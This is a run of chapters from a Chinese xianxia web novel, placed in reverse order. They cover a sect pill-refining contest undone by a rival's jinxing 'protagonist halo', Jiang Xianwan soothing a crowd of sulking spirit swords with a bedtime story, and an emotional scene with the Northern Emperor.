龙鲤一愣,立刻闭紧嘴巴,浑身逐渐泛起一层粉嫩的桃花色。 啊,原来是二师兄和小师兄啊。 第 68 章 把自己哄睡 剑:谁要跟她了!她哪里香了! 各个傲气的剑平白无故伏低做小,挨了剑老大一顿胖揍不说,又被江献晚连连唾弃,委屈的低声嗡鸣。 声音高了,怕剑老大又来削它们。 江献晚看懂了,微微一怔,“你们说,你们不是自愿的?” 剑齐齐回应:可不就是吗!它们又不贱!更不瞎! 江献晚摸着下巴。 难道是林轻染身上那个系统搞的事情。 可她总不至于所有的剑都要吧? 用的过来吗? 还是说……这里有把剑老大。 顺便当着时云霄和秦秦的面,借此炫一波,赢的美人心? 他俩也是美人图鉴中的? “她是不是想契约谁?” 剑:嗡——! 对! 想契约剑老大! 想跟她说,又不敢指地底下那把剑,急的直晃。 “那你们刚才打架又是因为什么?” 因为剑老大发飙,把气算在了它们头上。 剑很急,但又表达不出来,各个一阵比比划划。 “等等。” 江献晚耳尖一动,给剑打了个噤声的手势,侧耳细听。 远处传来沙沙的土壤松动声音。 极细微的,若不是仔细听,很难察觉到。 地下还有剑? 这个猜想瞬间勾起了她的好奇心,江献晚拨开一片剑,朝着那片空地走了过去。 挑眉,无声询问:是它? 剑连连点头,小鸡啄米似的。 对! 就是他! 凶神恶煞剑老大! 江献晚讶然,再挑眉:它打的你们? 剑继续点头:可不是吗!你再晚来一会儿,就见不到我们了! 江献晚沉默。 牛逼啊。 它自个打一群剑。 看这群剑的卑微反应,不难看出地下这把剑定然是绝品中的绝品。 难怪女主眼馋。 她蹲在地上看了一会儿,又扫过浮在空中,如临大敌般的剑。 这么多剑都挨打了,应该生挺大气的吧? 莫不是没能成功跟女主契约,所以不开心? 她又不是金牌调解员,待会调解起来哄不好,顺手再把她打了怎么办? 江献晚觉得不是没有这种可能。 看了一眼天色。 该睡觉了。 大家正好可以冷静一下。 于是乎掏出一张蜘蛛网,挂在树上,这张网还是她大师嫂顺口涂抹过油脂,不会沾黏。 还真有点……想大师嫂了呢。 江献晚脚尖一点,轻巧的落在网上,晃晃悠悠,躺起来别提多舒服了。 顺手把轮盘搁在树杈上。 剑:“……”不是,就睡了?那它们怎么办? 她怎么可以睡的着? 快去哄它啊! 江献晚枕着手臂,支起一条腿,从芥子囊中掏出一个苹果。 “咔嚓,我给你们讲个睡前故事吧?” 剑:“……?”讲故事? “咔嚓!你们今日的所作所为虽然让我们觉得很丢脸,不过,过去的先让它过去,大家心大一点。” “咔嚓,下面由我为大家讲述一篇童话故事,大灰狼与小红帽。” “咔嚓!在一个非常非常美丽的小村庄,住着一位非常非常可爱的小姑娘,大家都叫她小红帽。” “咔嚓!是的,就跟我这么可爱。” “咔嚓!小红帽有一头浓密又漂亮的黑发。” “咔嚓!对,没错,就像我这样。” “咔嚓!她总是戴着一顶红色的小帽子。” “咔嚓!当然,我从来不戴帽子。” 剑不乐意了:好好讲。 江献晚咳嗽一声,默默啃了一口苹果,“知道了知道了,不加词了。” “每天她都会穿着一件红色的裙子。” 指着自己的青衣,就要再说一句什么,见剑嗡嗡,只能讪讪作罢。 “花篮挎在手中,打算去看望奶奶。” 江献晚望着头顶浩瀚星空,吹着夜风,嗓音轻缓,散漫慵懒。 “小红帽蹑手蹑脚的靠近床边,轻声询问,奶奶,你的眼睛为什么这么大啊……” “奶奶,你的牙齿为什么这么尖啊?” “大灰狼无法掩饰自己的真实面目,于是,便朝她咆哮起来。” 嗯。 然后呢? 正沉浸在童话故事里的剑久久等不到江献晚的声音,立刻支棱了起来。 这么一看,差点没委屈的撅过去。 江献晚,她竟然把自己……哄、睡、着、了! 手里还拿着半块没啃完的苹果,别提有多安详! 什么人啊! 剑嚎啕大哭的心都有了。 它们好不容易短暂的忘记痛苦,正听的兴致勃勃,连一篇故事都没讲完,她自己反倒把自己哄睡了? 一群剑你看看我我看看你,商量的有来有回。 “她竟然睡了?” “她就这么睡了?” “我想听故事。” “我也想……呜呜啊……” “没良心的死丫头!不知道我的心灵这会有多脆弱,多需要安慰吗……呜!” “那咱们喊醒她?” “谁去?!” 此话一出,剑全沉默。 它们不敢。 树下空地就是剑老大的地盘,谁去谁挨打。 “我不敢去。” “我也不敢。” “那……怎么办?” 剑面面相觑,转头死盯江献晚,试图将她盯醒。 地底下那把剑听着江献晚不紧不慢的声音,暴动的气息缓缓消散,正剧烈的来回拉扯,要不要出来见她时,发现周围忽然安静如鸡。 它等了好大一会儿,还是忍不住强撑着虚弱的灵体,悄悄从土里钻出来一点。 才发现……江献晚睡着了? 它的委屈,比所有的剑加起来还要来的震耳欲聋。 故事还没讲完,她怎么可以睡觉。 还有,它的主人为了她……它亦是等了他们三百年。 她怎么可以睡的着! 剑:“……” 感受到剑老大怨妇似的冲天气息,又见它冒头,其他剑吓的僵在原地瑟瑟发抖,眼睁睁的看它靠近江献晚。 完了完了,剑老大该不会想把江献晚削死吧! 它们还想听故事呢! 灰扑扑的剑抖落湿润的泥土,悄无声息,犹犹豫豫飘到江献晚头顶上,踌躇半晌,轻轻碰了碰她的手。 见她没动,又大着胆子凑近,碰了碰。 睡的正香的少女不堪其扰,翻了个身,一胳膊把剑揽在怀中,迷迷糊糊道:“别闹了,睡觉。” 剑老大:“……” 她、她抱它了? 不是应该掰折它,讨厌它吗? 它从来没被江献晚这般温柔的抱过,一种难以言喻的酸涩冲上心头,又欢喜的不知所措,锈迹斑斑的剑身,微弱的金光忽明忽暗。 其他提心吊胆的剑瞧着和谐友爱的一幕,立马就激动了。 江献晚可真牛! 她敢抱它! 它让她抱! —— 【注:《小红帽》,取自《格林童话》】+_+ 第 67 章 聊聊剑生 江献晚:“……” 谁闹脾气了? 闹什么脾气? “云霄和秦秦带万古宗四个弟子去后山剑冢参观,不知为何剑冢忽然异动。” 想到那令人眼前又是一黑的一幕,徐燕洲黑眉拧的恨不能夹死一只苍蝇。 “说来邪门,听云霄说,那些剑突然腾空,都朝向林轻染,像是朝圣一般。” 他察觉到剑冢传来的异常波动,匆匆赶去。 发现就连那把埋在地下,沉睡了不知多少岁月的剑亦是嗡鸣不休。 那架势,看起来快要从地底下冲出来,投入林轻染的怀抱。 剑冢的剑,除了遇到像时云霄和苏清流那种天生剑骨的人,才会激动,想要择主。 她林轻染又不是剑骨。 出现这种情况,可不就是邪门! 他们太虚宗的剑,集体变心,对着一个万古宗弟子如此低声下气算了。 就连那把剑都看上了林轻染。 徐燕洲越想越难受,越想越觉得邪门。 “它们在剑冢横冲直撞,打成一片,怎么讲都不听。” 说的他唾沫星子都干了,眼看再打下去剑冢都要成为一片废墟,他想到了江献晚。 “朝圣?”江献晚诧异挑眉。 女主又做了什么事? 徐燕洲不和众位长老商量,再不济上秉帝尊和花美人,特意跑来跟她一个小弟子说这些做什么? 江献晚睁着无辜的眸子,指着自己的鼻尖,“掌门师伯,您说这些……和弟子有什么关系?” 掌门都解决不了的问题,她一个小弟子能管住那么多心高气傲的灵剑? 徐燕洲一拍她的肩膀,语重心长,有理有据,“这事是很邪门,不过我觉得你更邪门一点,你去哄哄它们。” 那些剑,连带那把剑,虽因林轻染的出现而异动。 可要知道,那把剑其实是被江献晚唤醒的! 还强撑着送了她一道剑意! 他觉得,那些剑肯定更喜欢江献晚一些! 不然也不会被江献晚哄的晕头转向,跟大型训狗现场似的。 有丹术比赛在先,依他看,林轻染指不定背地里做了什么小动作,害的他们太虚宗的剑突然抽风,集体叛变。 徐燕洲只能这样安慰自己。 林轻染若真是个行走的瘟神,克他们太虚宗,那今日炼丹比赛,江献晚就是克星的克星! 那一番匪夷所思的操作,功力深厚,无人能及,一己之力,带领弟子翻盘。 “虽然咱们不是小气人,但所有的剑都想跟着她跑,传出去总归有点丢脸。” “你去开导开导它们,咱自己家的弟子不香么?两个天生剑骨,哪个比她差了。” 他相信江献晚绝对有能力,把剑叛变的心嘚吧回来! 还有,他得想办法,把瘟神,哦,把万古宗的小姑娘赶紧给弄走。 江献晚无语归无语,还是随徐燕洲来到后山,待看清眼前情景,眼皮重重一跳。 它们这是在干啥? 只见成百上千的剑瑟瑟发抖的贴着结界,抖的跟琴弦似的,发出一片令人齿寒的碰撞声。 在寂静漆黑的深夜,活像有鬼在鬼哭狼嚎。 徐燕洲看着这群剑做出这么一副死样子,倍感丢脸,不忍直视,忙不迭拎起江献晚的后衣领,“快进去,给它们做做思想工作!” 他受不了了! 这一个个哪个不是声名赫赫,榜上有名的灵剑,太虚宗最引以为豪的就是剑冢。 现在整这出死,哪里还有一点作为灵剑的高傲样子。 贱不贱啊! 说罢,不等江献晚拒绝,往前一拎。 “咳,那个,你们看,咱家的弟子也不差对不对,你们要不要让她进去陪你们聊聊剑生?” 江献晚:“……” 您确定是聊剑生,而不是想让她今晚不能生还? “那个,掌门……” “嘘,别吭声。” 徐燕洲眼睛一亮,指了指剑冢。 剑看到江献晚登时停止哆嗦,随即迫不及待地齐刷刷一翁,委屈点头。 今天剑冢来了几个弟子,瞻仰它们。 不知为什么,它们控制不住,浮在半空中,剑鞘地朝着那个少女做出朝圣的架势。 简直丢死剑了! 那把埋在地下的剑跟着醒来,而后……瞬间炸毛! 一声戾吟,剑意呈圆形荡开,将它们一股脑拍飞,威压压的它们差点碎成八瓣。 就在那把剑坚持不住,剑身浮出一寸,想要投向那个女的怀抱中时,徐燕洲及时赶到,撵走了那几个弟子,那种奇怪的召唤力才跟着消失。 剑老大差点被强行召出契约,震怒,疯狗似的对着它们一顿狂削,险些把它们全打死! 有几把剑都被它抽断了,现在还在无助的躺在地上,以泪洗面。 它们只能贴饼子似的贴在结界。 就这,剑老大还在释放威压。 恨不能让它们全死了。 剑想起它最后送给江献晚的一道剑意,只好抱团发出各种耀眼的光芒,试图召唤江献晚,让她用优美的语言感化一下那把剑。 没想到,江献晚真的来了! 徐燕洲见这些剑迫不及待,活像是看见亲娘的样子,心中一颗石头咚地落地,不由分说把江献晚往结界中一丢。 而后,兀自高高兴兴拍屁股走人。 不愧是他,真是个大聪明。 就没有他太虚宗掌门解决不了的事情。 背上霎时长满剑的江献晚差点跪了,幽怨地目送徐燕洲快快乐乐离开。 她反手拔下一把剑,咬着后槽牙,“不是,你们好歹先下来再说啊!” 剑听话的从她背上飘下来,一边嗡,一边奋力往她眼前挤。 挤来挤去,叮当不断。 “好了好了,就这样说吧。” 江献晚看着它们越挤越乱,边往外推,头疼地摆手让它们停下。 见周围黑咕隆咚,掏出轮盘顶在指尖悠悠地转。 银色光芒如海浪一层层推开,剑逐渐安静下来,眼巴巴,委屈小狗似地瞧她。 江献晚皱着眉,很难赞同,“你们说咱们家的弟子哪里差了,两个天生剑骨,哪个不是顶顶的优秀?你们竟然对着一个外人做出那般举动……丢不丢剑?” “知道太虚宗上上下下对你们有多失望吗?” “知道我听到这个消息有多想笑吗?” “还朝圣,怎么?她登基了?你们要拥护她为王了?跟她征战四海八荒了?” “她就那么香,非要跟她?” 第 66 章 剑闹脾气 江献晚看了一眼秦秦,“恭喜秦师兄,修为又精进一步。” 这几日,后山的雷几乎没断过。 秦秦羞赧的弯了弯唇,“我也正想恭喜你。” 没想到短短时间,江献晚已是元婴后期。 看来,他要更努力才是。 他顿了顿,眉头紧锁,似乎有诸多不解,“最后几日,我发现剑意忽然极盛,心中颇有感悟。” 江献晚唇角一抽。 剑意极盛? 是她发表演讲,那些剑打了鸡血,正激情澎湃的时候吗? 难怪许多被罚进剑窟的弟子进步很大,师兄他们三个同样各有收获。 秦秦停下脚步,犹豫片刻,还是如实道:“晚晚师妹,我方才和时师兄去问了这几日和林轻染接触的几位同门,他们这几日,好像有一些倒霉。” 江献晚愣了愣。 没想到秦秦人看起来冷飕飕的,心思还挺细腻,“我见他们时,也是。” 秦秦顿时紧张,“发生了什么?” 江献晚摇摇头,觉得没必要多说,“不是什么大事,说不定只是巧合。” 秦秦拧眉。 巧合若是多了,那便不是巧合。 两人又说了几句话,秦秦红着耳尖依依不舍的离开。 苏清流修长如玉的手指,将嗡嗡作响的老婆稳稳一扣,心中暗自思忖,要不要把秦秦打哭。 白子夜从草丛中站起身,双手握上江献晚的肩,“小师妹,我还是你的亲亲二师兄吗?” 林玉锦拿袖子装模作样的擦眼泪,“我呢?我还是你最亲亲的小师兄吗?” 江献晚:“……?” “你们对自己没点数吗?跟他吃什么没有的醋。” 然,江献晚还是被小师兄的唾沫星子洗了个头,又被三位师兄勒令,让她离秦秦远一点。 她边抹着脸回到偏院,麻木的面庞霎那间崩碎。 又来! 江献晚目不斜视推开门,直直朝着床榻走去,用被子将弱小无助的自己一裹。 表示。 不下棋。 也不进灵墟。 帝隐忧心忡忡,手指探上她的额头,江献晚登时一激灵,刷地睁开眸子,面露警惕,“做什么?” “可有不适?” “……有。” 帝隐紧张不已,又仔细探她的脉,“哪里不适?” 不会被克出毛病了吧? 江献晚道:“看见你不适。” 北帝尊声音一止,如远山轻烟的乌睫含着三分委屈垂下,商量道:“那……你忍一忍?” “我想看你。” 江献晚:“……” 她心累的坐起身,“谈谈。” 帝隐睫毛轻轻一颤,宛若蝶翼般,云纹云袖随着微微僵凝的手垂落枕席一片。 听到江献晚不知第几次提出要谈谈,心生黯然,轻声道:“好。” 他屈身坐到脚踏上,双手同长及足踝的银发落于膝头,瞳孔湿润而柔软,宛如濛濛细雨后的栀子,只照得出一人。 极乖的模样同浑身清冽如雪的气质,形成极重的反差,屈身就坐的模样,哪里还有半分帝尊姿态。 江献晚无声缓吸一口气,“你什么时候走?” 她实在受不了了,哪怕帝隐和林轻染没有任何关系,她也不打算同他有过多牵扯。 男人,只会影响她拎锅和赚钱的速度。 单看……风回雪就知道! 江献晚不等他回答,熟稔的端出冷漠,“我真的有喜欢的人,还请北帝尊不要来破坏我们的感情。” 类似的话她说了八百遍,然,帝隐全盘接受,只乖乖的垂着眸,左耳朵进,右耳朵出。 帝隐薄唇轻抿,唇色压的泛白,不言不语,神色仍称得上平静二字。 江献晚却陡然心惊。 她错愕的看着那双并不平静的眸子,还有面前之人鬓角眨眼间凝起的一层薄薄冰花,下意识攥紧了被子。 不由得恍惚一瞬。 都说儿子像母亲,可她觉得,江行行像帝隐更多一点。 连那双琉璃般,浸着溪雪烟岚的眸子都别无二致,仿佛一个模子里刻出来。 江献晚忍不住想。 帝隐对她动了情,那么,定然会喜欢江行行的吧? 她是对帝隐无意,可她该阻止他们父子相认吗? 多一个人疼爱行行。 江献晚是孤儿,比旁人更懂那种有亲人陪伴的渴望。 只是一想到风回雪恐怕要先哭上三天三夜,毫不犹豫打消了念头。 江行行不缺父爱,更不缺爱。 她和风回雪,都能给他。 “求您。” 她说。 求。 帝隐眼睫颤动,眼中也是混沌的,像一盏即将熄灭的烛火,似流转着朦胧银辉的长发,衬的面颊愈发苍白。 他从衣袖中探出一截清瘦骨腕,颤抖的掌心落在江献晚后心,将她轻轻扣在怀中。 “晚晚,你听听。” 几乎是哀求。 江献晚推拒的动作一顿,下意识屏住呼吸。 所有的虫鸣序语仿佛一瞬消失。 再然后,耳畔便传来剧烈的心音,暴沸的几乎要烧穿心脏主人的胸腔。 而虚虚环抱着她的男人,浑身都在细细颤抖,仿佛被无形无尽的痛楚挤压。 “别推开我……不要推开我……” “这里……很疼。” 他嗓音潮湿,似含着泪,话也颠三倒四。 一声声,皆落在江献晚耳畔。 “对不起……” “可是……我好像没有一点办法……做不到……” “我做不到。” 半晌。 他哽咽道,吐息都是脆弱。 “是我贪心。” 明知自己不该做出这般亲昵唐突的举动,甚至恐惧心中陡然生出的那丝戾气和醋意。 想带走她,藏在巫云殿。 可他凭什么? 皆是他错。 从开始,就是他的错。 “晚晚,对不起。” “我做不到……放不开。” 江献晚无措抬眸,便看到那本该无情无欲的神明,无声红了眼眶,眼里突然落下了一滴泪。 像一只被雨浸湿的白鸟,翻折出一身的狼藉,零落成泥,再也看不出原本的颜色。 江献晚僵硬的低下头,看那颗滴落在她指尖的泪,心底像是被印下一块烧的通红的烙铁。 直到帝隐离开,风回雪的传音波动而来。 那些缭乱如杂草的心绪渐渐随着一对父子,左一声,右一声,要她乖乖听话,嗖地一下,消散,又转成心虚。 江行行脆生生的语气听起来格外忧伤,“娘亲,不可以不要爹爹,行行反对。” 江献晚无语凝噎。 死狐狸,都教了些什么。 她什么时候说过不要他了! 她就算不想要,他这个狗皮膏药还不先剥了她的皮。 就不能教点靠谱的! 对此,风回雪又是心虚又是得意,甚至拿出一份保证书,让她照着念。 说什么天大地大,他跟江行行最大。 江献晚骑他头上,揍他一顿的心都有了。 认命的哄了一大一小心满意足,掐断信道,把脸埋在江行行穿过的小肚兜上,准备眯一会儿,再修炼。 她刚睡着不到三秒,云为泽的声音穿过重重云海,飘渺落于耳畔。 “睡了吗?” 江献晚:“……睡了。” 那头沉默了片刻,“那就好,起来重睡。” 江献晚:“……” 正没脾气时,门被敲响。 江献晚一骨碌爬了起来。 徐燕洲看起来也很没脾气,整个人格外憔悴,“晚晚啊,剑闹脾气了。” 第 65 章 瘟神 众长老齐聚大殿,徐燕洲居于首座,沉默了有一会儿。 花不休被请来,耐不住性子,弹弹衣袍上不存在的灰尘,“要是都不说,我就回去睡觉了。” 徐燕洲:“……” 睡睡睡! 就知道睡! 咱们的脸今天差点就没了! 当然,他不敢以下犯上。 “剑尊留步!” 花不休不情不愿坐回去,吊儿郎当地翘起二郎腿,半幅乌发落了满肩。 明长老嘴唇蠕动,欲言又止,“剑尊,您那两个徒儿平时炼制的都是几品丹药?” 花不休低着眼帘,视线缠在指尖上不放,“五品。” 又补充:“极品。” 准确来说,应该是极品中的极品,这俩崽子一颠一锅,个数不论。 明长老嘶了一声。 林玉锦和江献晚这次炼的确实是五品极品丹药。 就是,两人炼的丹药有点……咳,不正经。 众目睽睽之下,炼交欢丹,还好他合盖子合的快,差点脸又丢了一丢丢。 他羡慕的看了一眼花不休,眼下有更重要的事。 指着桌上的九瓶丹药,“你们,有没有觉得……” 觉得这个万古宗的亲传弟子很古怪。 明长老到底没好意思直言林轻染是瘟神。 “瘟神?”花不休轻轻一笑,眼中流露出三分漫不经心,说出的话却一针见血,不留脸面。 众长老神色诡异,倒也没辩驳。 他们在看台上将所有弟子的一举一动瞧的分明。 那六个最出色的弟子,哐哐一通操作,结果整整齐齐地炼制出废丹,还是连丹纹都没有的那种。 怎么可能! 就算让他们用脚趾头炼,倒立炼,拉着屎炼,都不能拉到这种水平! 后来林玉锦和江献晚上场,他们两个离林轻染距离最近,灵植刚丢进两种,就炸炉了。 之后两个小崽子明显愣住的反应,再到后来一系列匪夷所思的举动。 其他弟子更不必说,他们在丹术上虽不比那六个亲传弟子,就算是剁了他们的手,也不至于废到一直砰砰炸炉的地步。 徐燕洲见花不休并不意外的反应,问道:“凤仪,你是不是知道什么?” “看不出。”花不休缓缓起身,大袖从膝头垂落,“我劝你们赶紧将人弄走。” 另一边,林玉锦和江献晚被太草峰六个弟子强行拖走,苏清流白子夜和其他亲传弟子纷纷跟了上去。 太草峰大弟子李微云还没从刚才的惊心动魄中回过神,表情一言难尽,“江师妹,那个,你有没有觉得很不对,还有你和林师弟为什么要挪位置?” 林玉锦这会儿也回过味来,“我就说哪里不对,小师妹你跑什么?” 江献晚对上一圈懵逼而又神色格外便秘的亲传,“那个,我觉得不对,就跑了。” 她总不能在背后说人坏话,说林轻染克她。 还是让大家自己感受一下吧。 其实,江献晚也很意外。 没想到女主竟然能把所有身边的人一视同仁的克了,还克的如此惊天动地。 不是自带女主光环么? 这光环效应也太变态了吧? 确定不是瘟神下凡? 话说,她在万古宗这样吗? 李微云没发现她细微的表情,焦急地继续追问,“你觉得哪里不对?” 他就想知道他猜的对不对! 其他弟子催促江献晚展开说说。 他们又不是傻子! 他们不知道的是,这几日和林轻染见过面有过交谈的弟子,此刻都在怀疑人生。 江献晚拍了拍李微云的肩,“李师兄你不要多想,他们很快就走了。” 一句话,什么也没说,弟子们心中却是有了计较。 话说到此,江献晚和林玉锦没能走掉,他俩炼丹的骚操作惊呆了中规中矩的亲传,非要他们炒几炉丹。 当看到两人掏出两口熟悉的大铁锅,众人又是一阵无言。 云为泽收回视线,眼角眉梢洇着捉摸不透的笑意,“雾渺这徒弟收的好,眼光不错。” 大半夜不睡,搔首弄姿,妄图擅闯他潋浮台? 脸就一张,就不能省着点丟? 他险些没收住力度,将她呼在灵碑上。 当然,这种事,南帝尊觉得丢脸,自然不说。 帝隐蹙起眉。 雾渺收阿猫阿狗也好,他从不插手宗门之事,只关心这个叫林轻染的果真克江献晚。 被众人默默在心底安上扫把星转世,瘟神降临的林轻染,哭的梨花带雨。 裴长安三人放心不下,敲不开她的房门,只能在院子里守着。 听到屋中传来砸东西的动静,裴长安一愣。 师妹素日最是知礼温柔,不过一场比赛,至于发这么大脾气? 林轻染眼眸通红,看着伤痕累累的手掌,立刻杀了江献晚的心都有了。 她根本没想到事情会发展成这样,更没想到那些弟子如此废物,搞得她好像是个扫把星。 尤其江献晚带头一跑。 此举直接将她推在风口浪尖,要不要脸! 林轻染疼的满眼是泪,心情根本无法平静下来。 又开始埋怨女主光环太强大,不是妥妥坑人吗! 她是万众瞩目了,可这种瞩目她一点都不想要的好吧! 在万古宗也不这样,身边的人,就连雾渺都不至于发现端倪。 没想到,来了太虚宗,女主光环特么的就跟加倍升级似的! 一定是因为江献晚这个变数! 明明她才是那个克星、瘟神! 林轻染呕出一口血,彻底恨上了江献晚。 都怪她! 她才会如此丢脸,还被烧伤了手,点不亮美人图鉴! 林轻染恨恨咬牙,强行按捺下杀人的念头。 想到什么,她冷冷嗤笑一声,唇角勾出阴翳的戾气。 太草峰。 江献晚和林玉锦颠了半天的锅,被白子夜和苏清流解救出来。 刚走出没多远,背负长剑的秦秦迎面走来。 苏清流指尖一动,摩挲几下剑身。 白子夜温润的笑意渐渐隐去,五指根根蜷起,灵笔一道刺目的寒芒转眼消散。 林玉锦态度很明显,一脸防备,活像个炸毛刺猬,就差把滚远点三个字刻脸上。 要不要脸,总来惦记他们家的花盆! “晚晚师妹。”秦秦对着三个少年打过招呼,朝江献晚一笑,“我有话想跟你说,能走走吗?” 三个少年:“……?”说什么?走什么?有什么话是他们不能听的! 江献晚和秦秦已经双双离开。 三个少年:“……!” 立刻鬼鬼祟祟跟了上去! 第 64 章 老师,我要换位置 众人:“……”脸,真的好疼。 徐燕洲:“……”方才他还以为凤仪说那一番话是在阴阳林轻染,现在看来,他真的是诚实了一回啊! 完了完了! 这下完大发了! 谁来告诉他,太虚宗的脸今天还有救吗! 花不休剥着荔枝的手停顿一瞬,白子夜和苏清流露出古怪的神色。 这俩一颠就是一锅,鲜少有废丹,出现这种情况,前所未有。 江献晚沉吟片刻,举手,“老师,我可以挪一下位置吗?” 正心如死灰,一脸风吹雨打的长老听到这个要求明显一愣,不知道她要干什么,不过时间未到,点头,“可。” 江献晚直接搬起桌子。 走了。 众人:“……” 林轻染右侧的林玉锦,对自家小师妹有着变态狂热的信任,二话不说搬起桌子,也走了。 林轻染:“……”什么意思? 不过,也只是心中冷笑一声。 江献晚和林玉锦搬出十几米开外,开始炒菜。 过了没一会儿,两人各自看着炼丹炉中的四颗两品丹药,再次陷入沉默。 江献晚麻溜举手,“老师,我要换位置!” 不等长老反应,两人嗖地搬起桌子。 这下离参赛弟子得有二十米远的距离。 “六颗!” “六颗!” 两品! 两人卧槽一声,风风火火地扛起桌子就走! 众人:“……”你俩该不会以为搬个桌子,就能炼出什么五品极品丹药吧! 要不,咱们搬到万古宗去炒? 再不成,搬妖域魔域界域? 只要你俩能保住大家伙的脸,哪怕是搬到天涯海角。 “砰砰砰砰砰砰!” 就在这时,一连串令人格外忧伤的声音马不停蹄的响起,距离林轻染最近,丹术修的最精的六个弟子几乎同时炸炉。 众人懵逼,大懵特懵。 还没懵完,其余参赛弟子再次重复上一场的名场面,连续不断炸炉。 远些的还好,只是俱都是丹炉震动,冒起滚滚黑烟。 整个演武场狼烟滚滚,台上台下弟子再次陷入骚动。 “生活像一把无情的刀,插进我的胳肢窝,有点疼,还有点想笑……他们全炸了?不考虑考虑,给自己跟咱们留点脸吗?” “此刻,有一位幸运观众,替他们承担了所有……啊!是谁,揭走了我的厚脸皮!” “当我情绪稳定的时候,其实我已经疯了……你们在干什么!怎么不把自个祖宗挖出来炸了!” “每天都要元气满满的接受……打击。” “炼了几年丹,他们竟然背着我们混到了幼稚班?别拦我,让我打死这群不争气的狗东西!” “同门以痛吻我,我,痛死。” “感觉好累,有种太监逛青楼的无力感。” “没关系,实在不行,我陪你去路边坐着叹气。” 这下,仅剩的正常的林轻染站不住了,在脑中厉声询问,“怎么回事!到底怎么回事!为什么会这样?!” “我怎么知道!”系统骤然发出一声尖锐刺耳的声音,陷入乱码模式。 林轻染:“……” 另一边,江献晚和林玉锦看了看手里的丹药,毫不犹豫扛起桌子。 跑! 太草峰亲传大弟子脑中飞快地闪过什么,又不知是什么。 他看的分明。 林玉锦和江献晚先是炸炉,而后炼出两品丹,再是四颗两品,六颗两品,最后是三颗四品! 想到他们方才一系列的举动。 难道…… 他不知难道什么,突然两手举起桌子,嗖地一下跑了。 那速度,好像屁股后面,有呲牙咧嘴的狗在撒丫子狂追他! 剩下五个亲传,一见大师兄都跑了,毫不犹豫地跟着扛起桌子。 身边陡然空出一大片空地的林轻染:“……!” 你们……特么的。 她是什么瘟神吗? 懂不懂什么是女主光环法力无边! 众人:“……!” 监考的几位长老一脸懵,懵的同时又忍不住燃起诡异的希望。 看台上的三位万古宗弟子坐不住了。 太草峰的弟子绝不可能是草包,尤其是那六位亲传,不可能这般废! 所以,到底为何! 若是说故意这般难看的输给他们,绝不可能! 可他们跑什么! 众人视线紧跟着快要跑出演武场的八人,不约而同再次陷入一种诡异到天荒地老的安静。 林轻染根本顾不上尴尬。 她此刻快要控制不了地心焰,疯狂地召唤系统。 而刺啦作响的系统,在这要命关头,砰地一声巨响……冒烟了。 她面色刷地一白,手忙脚乱中抬眸扫了一眼。 这一眼,让她的心瞬间凉下去大半截。 无数道诡异探究地目光正落在她身上! 林轻染差点昏死过去。 强忍着慌张,在如常所愿万众瞩目的洗礼下,调动浑身灵力掌控地心焰。 不! 她绝不能输! 香气四溢,丹成! 也是目前唯一丹成的弟子! 此刻时间还有剩余,江献晚他们八个刚刚开始。 林玉锦操控着灵力用小勺子翻搅两下,其他六个后搬来的弟子冷静下来,重振旗鼓。 江献晚丹成的最快,她看了看炼丹炉,默默松了一口气。 林玉锦抹了一把不存在的虚汗,“终于正常了,吓死我了!活见鬼!” 接下来,旁边六个弟子相继停下动作,脸上一致露出劫后余生,而又扭曲的神色。 这才是他们真正的水平啊! 真好,他们的脸,保住了! 不用吃竹笋炒肉了! 这场比试,除了林轻染和太虚宗八个弟子,其他弟子竟无一人成丹。 当九瓶丹药被送到明长老面前,众人恨不能将脖子伸长数十米。 林轻染怔怔地站在原地,被地心焰烧的狰狞恐怖的手掌掩在袖中,一时没了反应,更没了刚开始的元气满满。 明长老是最紧张的那一个,怀着忐忑的心情,深吸一口气。 壮士断腕般,首先拿起自家大徒弟的那瓶丹药。 瞬间,一口长气重重的吐出来。 还有种感动到想要泪流满面,痛哭流涕的开心。 他娘的,他的老脸,还在。 五品,八颗。 多亏江献晚和林玉锦两个小崽子,他这一张脸,总算是保全了! 他真的丢不起这个人! 甚至考虑待大赛结束,自挂东南枝的可能! 明长老两眼含着感动的泪水,又一一看向其他几瓶。 神色逐渐古怪。 他倏地抬头望向站在场地,不知在想什么的少女,有什么疯狂的念头,似乎要破土而出。 花不休眼眸深深。 这少女极为古怪,已经不是瘟神不瘟神的问题。 在众人翘首以待,按耐不住快要扑过来时,明长老一改枯槁死灰之色,意气风发,大声公布了成绩。 为免林轻染太过难堪,装模作样补了一句,什么天之骄子,两道双修,云云之类的。 补完,呵呵一笑,慈祥补刀:“还真是巧了不是,我家后补的那两个小崽子,同你一样。” “尤其江献晚,四道同修哦~” 地心焰又如何? 手下败将了不是! 林轻染:“……” 妈的! 他说什么? 四道! 两重重击,林轻染只觉耳中嗡鸣,竭力忍着因反噬带来的强烈撕痛,最后只能勉强一笑。 比试大会草草结束。 第 63 章 女主光环,法力无边 怎么可能! 就连他的关门得意大弟子,炼制的丹药都只是一品! 还是废丹! 他猛地闭上眼,多希望眼前的一切是幻觉。 当然,最好是自己眼突然瞎了。 不可能! 绝对不可能! 太虚宗虽主修剑术,有三位化神巅峰长老和一位合体长老,可其他长老术业有专攻,能力出类拔萃,那叫顶尖。 他亲手调教的这几个亲传,随手一炼,最差的都是三品起步的啊! 徐燕洲和其他长老侧身看来,脸色刷地一下,跟着绿了,难看的不是零星半点。 再怎么对炼丹术不精,都能轻易从成色上看出明显的不同。 明长老深吸一口气,缓缓闭上眼。 一定是他睁眼的方式不对。 对,深呼吸。 别怕,再看一下! 他哆哆嗦嗦睁眼,再次露出比哭还难看的笑容! 恨不得当场表演一个血溅三尺! 全是一品! 废丹! 搞什么! 拿自个脸玩呢! 就这么想吃竹笋炒肉吗! 他迅速拿起林轻染炼制的丹药,眼底浮现出满满的不可置信的绝望。 十颗四品,极品丹! 怎么会这样啊! 这特么已经不是踢馆了,这是碾压!狠狠的碾压! 摁着太虚宗的脸,左右开弓,再吐两口唾沫的那种。 明长老呼吸急促,绝望扭头,“晚晚,我是不是老眼昏花了?” 江献晚:“……不是。” 不仅是他,徐燕洲和众长老都觉得太虚宗的天好像……忽然塌了。 明长老教徒弟的能力他们不怀疑,之前又不是没有赛过,还从来没出现过这种令人眼前一黑又一黑的状况。 完辣。 他们太虚宗的脸呐! 明长老两眼一闭,看不见未来。 他咬了咬后槽牙,胸膛缓缓的深深一吸,维持前辈该有的风度,强挤出一抹笑意,说出比赛结果。 场上一静,针落可闻。 所有人的表情先是惊悚,而后整齐划一,望向那仙姿绰约的少女。 六个亲传,炼出的全是废丹? 明长老是瞎了吗? 